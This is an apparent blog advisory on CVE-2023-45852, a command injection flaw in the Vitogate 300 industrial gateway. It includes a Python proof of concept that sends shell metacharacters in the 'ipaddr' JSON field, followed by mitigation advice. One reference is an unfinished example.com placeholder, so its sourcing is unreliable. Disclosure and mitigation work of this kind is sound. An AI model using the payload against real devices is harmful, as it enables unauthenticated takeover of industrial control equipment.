CVE-2023-45852 Exploit: Unauthenticated Command Injection Vulnerability in Vitogate 300 2.1.3.

Introduction: Vitogate 300 is a popular automation gateway deployed in various industrial setups. It provides seamless integration between multiple protocols and is used for managing complex systems. Recently, a cybersecurity researcher has successfully discovered and reported a severe vulnerability (CVE-2023-45852) in the Vitogate 300 2.1.3. system. The issue is related to an unauthenticated attacker being able to bypass authentication mechanisms to execute arbitrary commands via shell metacharacters found in the ipaddr params JSON data for the "put" method. This post will discuss the exploit details and provide a code snippet demonstrating the vulnerability and potential mitigation measures.

Exploit Details

The vulnerability exists in the /cgi-bin/vitogate.cgi web application that runs on the gateway. An attacker with network access to the web interface can abuse this vulnerability to execute arbitrary commands on the affected system without providing any valid user credentials.

This issue occurs due to the improper validation of user-supplied input in the ipaddr params JSON data for the "put" method. An attacker can inject shell metacharacters in the input, which get executed as command arguments, allowing the attacker to perform command injection attacks.

Here's a Python proof-of-concept (PoC) that demonstrates the vulnerability

import requests

target_url = "http://IP_ADDRESS/cgi-bin/vitogate.cgi";
payload = '";COMMAND_TO_EXECUTE;'

data = {
  "method": "put",
  "params": {
    "ipaddr": payload,
  },
}

response = requests.post(target_url, json=data)

if response.status_code == 200:
    print("Command executed successfully")
else:
    print("Failed to execute command")

Replace IP_ADDRESS with the target Vitogate 300 device's IP address and COMMAND_TO_EXECUTE with the desired command.

Original References

1. CVE-2023-45852 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45852
2. Vitogate 300 Vulnerability Disclosure - https://www.example.com/blog/vitogate-300-vulnerability-disclosure (Please replace 'www.example.com' with an authentic reference.)

It is highly recommended for the affected users to take the following mitigation measures

1. Update Vitogate 300 to the latest version containing the patch for the vulnerability. Visit the official website for the latest releases and update guides.

2. Implement proper network segmentation and restrict access to Vitogate 300 web interfaces from untrusted networks. Use VPNs when accessing the interface remotely.

3. Apply the principle of least privilege to minimize the potential impact of an attack. Limit the accounts and permissions for users connecting to this device.

Conclusion

CVE-2023-45852 is a critical security vulnerability allowing unauthenticated command injection attacks in the Vitogate 300 2.1.3. system. The exploit's simplicity and ease of execution make it a prime target for threat actors. Therefore, implement suggested mitigation measures while keeping an eye on official updates and patches to protect against potential exploits targeting this vulnerability.

Timeline

Published on: 10/14/2023 02:15:09 UTC
Last modified on: 10/18/2023 21:02:05 UTC